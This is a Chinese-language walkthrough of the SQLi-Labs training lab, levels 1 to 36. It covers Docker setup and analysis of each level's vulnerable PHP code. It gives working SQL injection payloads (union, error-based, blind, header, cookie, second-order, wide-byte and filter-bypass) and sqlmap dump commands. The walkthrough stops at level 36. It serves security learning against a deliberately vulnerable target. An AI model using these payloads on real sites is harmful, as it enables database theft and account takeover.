sqlilabs通关及常见的sql注入方式
首先搭建环境
我是使用centos7+docker上搭建的以下是详细步骤
如果是使用 win10+phpstudy搭建的话有些管卡可能会出现问题
1、安装docker
2、配置sqlilabs环境
1、查找sqli-labs镜像
docker search sqli-labs

拉取镜像
docker pull acgpiano/sqli-labs
输入docker images
出现和下面一样就表示拉去镜像成功
[root@localhost /]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hello-world latest feb5d9fea6a5 19 months ago 13.3kB
acgpiano/sqli-labs latest 0976afc45249 7 years ago 434MB
启动镜像
docker run --name=sqlilabs --net=host -p 80:80 -d acgpiano/sqli-labs
执行docker ps后出现下面的则表示启动服务成功
[root@192 ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
42f2df53bf45 acgpiano/sqli-labs "/run.sh" 6 minutes ago Up 6 minutes sqlilabs
进入容器
先从浏览器打开服务

而后进入容器
docker exec -it 42f2df53bf45 /bin/bash
输入mysql

最后点击这个

就完成配置了
基础挑战1~20关
Less1
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | ?id=‘$id’ |
源代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true){
输出查询的类容
}
else{
print_r(mysql_error());
}
1、联合查询注入
?id=1' union select 1,2,3--+
2、报错注入
?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)--+
利用updatexm()函数在第二个参数不能出现特殊符号的规则,添加‘~’让其报错提示
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),3)--+
3、布尔盲注
?id=1' and length(database())=8--+
4、延时注入
?id=1' and if(ascii(substr(database(),1,1))=114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
sqlmap直接破解
python sqlmap.py -u "http://192.168.1.129/sqllilabs/Less-1/?id=1" -D security -T users -C username,password d --dump
Less2
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。
Less3
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=(‘$id’) |
和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。
Less4
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=(“$id”) |
只是闭合方式复杂了一点
Less5
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 报错、布尔盲注、延时盲注 | id=‘$id’ |
源码简单分析
# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持报错、布尔盲注、延时盲注
if true:
输出 You are in...........
else:
print_r(mysql_error());
因为在本关中没有回显效果,所以不能使用联合注入。但其它与第一关一致
Less6
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 报错、布尔盲注、延时盲注 | id=”$id“ |
和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。
Less7
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 布尔盲注、延时盲注 | id=((‘$id’)) |
sql语句的拼接方式
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
因为这里把 print_r(mysql_error())给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注。
Less8
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 布尔盲注、延时盲注 | id=‘$id’ |
和 Less-7 注入方式一致,只是拼接方式不一样,这里国光就不再啰嗦了。
Less9
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 延时盲注 | id=‘$id’ |
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
源码中可以看到 if else 都输出的是 You are in………… 这样就不能通过布尔盲注来进行注入了,只能用延时注入。
Less10
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 延时盲注 | id=”$id“ |
和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9
Less11
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔盲注、延时盲注 | username=‘x’ |
源码简要分析:
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
通过查看源代码可以看出核心代码仅用单引号包裹,可以使用如下 Payload 来登录系统:
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit
# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
1、联合查询注入
uname=admin&passwd=1'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
2、报错注入
uname=&passwd=1' and updatexml(0x7e,concat(0x7e,(select group_concat(username,password) from users)),0x7e)#&submit=Submit
3、布尔盲注
uname=admin' and left(database(),1)>'r'#&passwd=&submit=Submit
4、延时盲注
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=&submit=Submit
5、sqlmap
将burpsuit抓取的数据包打包到 1.txt
POST /sqllilabs/Less-11/ HTTP/1.1
Host: 192.168.1.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.129
Connection: close
Referer: http://192.168.1.129/sqllilabs/Less-11/
Upgrade-Insecure-Requests: 1
uname=&passwd=&submit=Submit
通用的sqlmap 注入方式
python sqlmap.py -r F:\tools\sqlmap\1.txt -D security -T users --dump
选用特定的sql注入方式,选用 --technique (B、E、T、U)分别为bool,error,time,union
布尔盲注
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --technique=B
报错盲注
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --technique=E
联合注入
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --technique=U
时间盲注
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --technique=T
Less12
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔盲注、延时盲注 | username=(‘x’) |
和 Less-11 的利用方式一样,只是 SQL 拼接方式不同,这里就不再啰嗦了。
Less13
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、延时盲注 | username=(‘x’) |
源码样式
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error());
因为没有输出查询后的信息的原因,所以相对于 Less-11 和 Less-12 来说就少了 联合查询的注入方式,其他还是换汤不换药,这里就不再赘述了。
Less14
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、延时盲注 | username=“x” |
和 Less-13 异曲同工,只是拼接方式不一样,我们换对应的闭合方式即可进行注入。
Less15
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 延时盲注 | username=‘x’ |
源码简要分析:
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true
什么也没输出
else
也是什么也没输出
及没回显,也没有报错日志,并且正确和错误显示都一样,所以只能用延时注入
Less16
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 延时盲注 | username=(“x”) |
和 Less-15 注入类型一致,更换对应的闭合方式即可。
Less17
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、延时盲注 | password = ‘$passwd’ |
1、简单源码分析
# uname 参数被过滤了
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
# 更新语句 使用单引号拼接 passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
print_r(mysql_error());
在代码中可以分析出uname 被过滤了不能注入,只能注入passwd,而本关考察的也是 upload 的注入且存在报错日志的回显
2、手工注入
uname=admin&passwd=1' AND updatexml(0x7e,concat(0x7e,database()),0x7e)#&submit=Submit
3、sqlmap
sqlmap注入还是采用了将burpsuit抓包带入到1.txt文件中 (其中的uname必须跟上数据库中存在的uname)
报错注入
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --technique=E
用- -data把要注入的参数带入进行注入
python sqlmap.py -u http://192.168.1.129/sqllilabs/Less-17/ --data "uname=&passwd=&submit=Submit" --dbs
Less18
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、延时盲注 | VALUES (‘$uagent’) |
1、简单源码分析
# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
查看代码可以看出 uname和passwd都被过滤了 且下面还存在一个sql语句,且没有进行过滤,所以本题考察的是insert语句和agent头部注入
并且uname、passwd都必须写入
2、抓包及设置pyload并注入
POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: 1' AND updatexml(0x7e,concat(0x7e,concat(0x7e,database())),0x7e) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
Less19
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、延时盲注 | VALUES (‘$uagent’) |
和18关其他都一样 只是注入点是:Referer
Less20
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、布尔、报错、延时盲注 | username=‘$cookee’ |
1、源码简单分析
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>
根据上面的代码想要执行 有关Cookie的代码 在抓包注入的时候要将 submit 给删掉要不就注入不成功(我是这样的)
2、报错注入
Cookie: uname=1' AND updatexml(0x7e,concat(0x7e,concat(0x7e,database())),0x7e)#
3、联合注入
Cookie: uname=1' union select 1,2,3#
其他方式都差不多根据第一关编写
4、sqlmap
#报错注入的方式(其他方式只需要更改 technique后的参数)
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --cookie="uname=admin*" --technique=E --level=2
进阶注入方式 21~37
Less21
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔、延时盲注 | username=(‘$cookee’) |
1、源码简单分析
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
# 对 cookee 进行 base64 解密
$cookee = base64_decode($cookee);
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()-3600);
?>
根据代码分析与 20 关相比就多了个 base64的解密,所以只需要在注入的时候将pyload base64加密
2、抓包及设置pyload并注入
POST /sqllilabs/Less-21/ HTTP/1.1
Host: 192.168.1.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
#修改的Cookie
# 将 1') AND updatexml(0x7e,concat(0x7e,concat(0x7e,database())),0x7e)# 加密
Cookie: uname=MScpIEFORCB1cGRhdGV4bWwoMHg3ZSxjb25jYXQoMHg3ZSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSksMHg3ZSkj
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.129
Connection: close
Referer: http://192.168.1.129/sqllilabs/Less-21/
Upgrade-Insecure-Requests: 1
#删除submit
uname=&passwd=
3、sqlmap
# 一定要删除抓到包的submit
python sqlmap.py -r F:\tools\sqlmap\1.txt --dbs --cookie="uname=admin*" --technique=E --level=2 --tamper="base64encode"
Less22
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔、延时盲注 | username=“$cookee” |
和less21差不多就是闭合方式不同
Less23
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | username=“$cookee” |
1、代码简要分析
# 获取到 id 的值
$id=$_GET['id'];
# 过滤了 id 中的 # 和 -- 然后 替换为 空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
# 使用单引号拼接 SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有查询结果:
输出查询信息
else:
print_r(mysql_error());
过滤了注释符号,但是这里还可以考虑使用闭合方式来进行注入,下面直接使用最简单的联合查询注入吧:
2、手工联合注入
id=-1' union select 1,database(),3 and '1'='1
3、手工报错注入
id=-1' and updatexml(0x7e,concat(0x7e,concat(0x7e,database())),0x7e) and '1'='1
4 、sqlmap注入
python sqlmap.py -u 192.168.1.129/sqllilabs/Less-23/?id=1 --dbs --technique=E
Less24
一个经典的二次注入场景。
1、代码分析
index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。
忘记密码:左下角的忘记密码选项提示:如果你忘记密码 请 hack it
新建用户:右下角新建用户可以新建一个自己的用户
failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
forgot_password.php
简单提示:如果你忘记密码 请 hack it
Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单
new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
login_create.php
创建新用户的后端代码,下面来简单理一下代码的流程:
# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 查询当前用户信息
$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册
if 两次输入密码一致:
# 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
查询完成后 重定向到首页
else:
提示两次输入密码不一致
login.php
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
pass_change.php
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php
2、思路分析
前提
1、mysql_escape_string是将单引号,双引号进行转义,在其前面加上一个\字符
2、在mysql数据库中 在添加含有特殊字符的信息时 会用 \ 进行转义 比如(select * from users where username=‘admin’#')
分析
1、从login.php 和 login_create.php两个页面上查看原代码,发现参数都被 mysql_real_escape_string() 转义了,所以以常规的注入手段显然是不行的,所以就可以考虑二次注入,而本题想考察的也是二次注入。
2、二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
3、方向
更新密码的核心语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在 SQL 注入的,假设用户注册的 username 的值为:admin’#,那么此时的完整语句就为:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
3、步骤演示
进入用户注册页面并注册一个 admin’# 用户:
admin'#
注册完成后数据库的记录信息如下:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'# | 123 |
+----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录 admin’#hacker 用户,然后来修改当前的密码:

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'# | 123 |
+----+---------------+------------+
Less25
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=‘$id’ |
1、关键代码分析
# id 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 但是 id 被如下函数过滤了
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
过滤了 or 和 and 关键词,但是还存在很多方法可以绕过,下面具体演示一下:
2、双写嵌套绕过
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+
password` 写成了 `passwoorrd`,`SEPARATOR`写成`SEPARATOORR
3、符号替换
or` -> `||
and` -> `&&
?id=2' aandnd left(database(),1)='s'--+
Less25a
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=$id |
| 与25关除了拼接方式其他都一样 |
Less26
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 报错、布尔、延时盲注 | id=‘$id’ |
1、简单源码分析
#sql相关代码与第一关相同
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
根据代码可以看出它把 or and # “空格” 等都过滤了 or和and 可以用 &&和||来绕 但是&&在url中有特殊作用所以用%26%26来代替
就差空格和注释了(注释: 可以用 ;%00 来替代#和–+)
首先,找了一些空格绕过技巧,大多都是用特殊字符来代替空格,看到这是不是以为这就结束了,你太天真了,我把所有绕过方法都尝试了一遍后,都没有成功绕过,又去看了源代码,这关过滤的属实多。不过我个人不知道是什么原因,但是有很多篇文章都提到是因为Apache 解析的问题Windows 无法使用,而Linux 下无这个问题。最后用括号绕过。
就像以下代码一样:隔离空格
select(username)from(users)where(id=1);
2、pyload
?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),0x7e));%00
Less26a
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 布尔、延时盲注 | id=(‘$id’) |
除了注入方式不同,而且没有报错注入其他都差不多
?id=1')%26%26 left(database(),1)='s';%00
Less27
看了点docker 将靶场环境改到centos下的docker上就没有26关的情况了
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=‘$id’ |
| 符号 | 说明 |
|---|---|
| %09 | TAB 键 (水平) |
| %0a | 新建一行 |
| %0c | 新的一页 |
| %0d | return 功能 |
| %0b | TAB 键 (垂直) |
| %a0 | 空格 |
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
1、 代码分析
union 和 select 没有忽略大小写 导致写了很多冗杂的规则,但还是可以轻易绕过。
2、payload
联合:
?id=0%27%a0ununionion%a0seLect%a01,2,3%a0;%00
报错:
?id=1%27and%a0updatexml(0x7e,concat(0x7e,database()),0x7e);%00
布尔:
?id=1%27%a0and%a0length(database())=8;%00
Less27a
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、布尔、延时盲注 | id=(‘$id’) |
和27关除了把报错日志关了其他都一样
Less28
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、布尔、延时盲注 | id=(‘$id’) |
过滤规则如下:
# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.
# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
payload:
联合:?id=100%27)%a0union%a0select%a01,2,3;%00
布尔:?id=1%27)%a0and%a0length(database())=8;%00
Less28a
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、布尔、延时盲注 | id=(‘$id’) |
和28关没什么差别
payload:
#### Less28
联合:
?id=100%27)%a0union%a0select%a01,2,3;%00
布尔
?id=1%27)%a0and%a0length(database())=8;%00
Less29
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=(‘$id’) |
index.php
# id = 'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
从源码来看的话和前面的貌似没有啥区别,直接尝试联合注入看看吧:
payload:
联合:
?id=100%27%a0union%a0select%a01,database(),3;%00
login.php
# 查询 query 的字符串
$qs = $_SERVER['QUERY_STRING'];
//该函数输出的是参数的所有信息
# 模拟 tomcat 的查询函数 处理一下
$id1=java_implimentation($qs);
$id=$_GET['id'];
# 再次过滤检测
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
?>
function java_implimentation($query_string)
{
$q_s = $query_string;
# & 作为分隔符 分割字符串
$qs_array= explode("&",$q_s);
# 遍历 qs_array 数组
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
# 如果数组前两位是 id 的话
if($val=="id")
{
# 截取 $value 的3-30 的字符串 作为 id 的值
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
function whitelist($input)
{
# 过滤规则 检测数字
$match = preg_match("/^\d+$/", $input);
if 不符合规则:
header('Location: hacked.php');
}
从代码中还是很容易发现问题的,关键问题出在下面的地方:
$id1=java_implimentation($qs);
...
whitelist($id1);
whitelist` 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 `hacked.php`,这里是没毛病的。那么问题出在了这里函数`$id1=java_implimentation($qs);
通过分析 java_implimentation() 这个函数在执行时只会对第一个参数进行过滤,并返回过滤结果,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。
假设用户输入这样的语句:
index.php?id=1&id=2
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
payload:
联合:
?id=1&id=100' union select 1,2,3--+
联合:
?id=1&id=3' and updatexml(1,concat(0x7e,database()),3)--+
布尔:
?id=1&id=3' and%20 length(database())=8--+
Less30
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=“$id” |
和 Less-29 相比没有啥本质变化,只是拼接方式不一样。
Less31
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=(“$id”) |
和 Less-29 相比没有啥本质变化,只是拼接方式不一样。
Less32
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=‘$id’ |
| 考察 Bypass addslashes (),关键的防护代码如下: |
if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);
# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{ # \ 转换为 \\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); 将 # 将 ' 转为\"
$string = preg_replace('/\'/i', '\\\'', $string);
# 将 " 转为\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df 吃掉
具体的原因是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df,形 成 %df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 ’ 中的 \ 过滤掉
例如可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。
payload:
?id=100%df%27%20union%20select%201,2,3--+
Less33
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=‘$id’ |
拼接方式也是一样的,过滤方法细节有点变化,具体如下:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
| 预定义字符 | 转义后 |
|---|---|
| \ | \\ |
| ’ | \’ |
| " | \" |
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。
Less34
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | username=‘$uname’ |
过滤方法依然和 Less-33 一致:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:
1%df' union select 1,2#
Less35
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=$id |
看了源码只能说它过滤了个寂寞
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
本关的拼接方式是:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload:
?id=100 union select 1,database(),3--+
Less36
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔、延时盲注 | id=‘$id’ |
主要防护代码:
$id=check_quotes($_GET['id']);
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
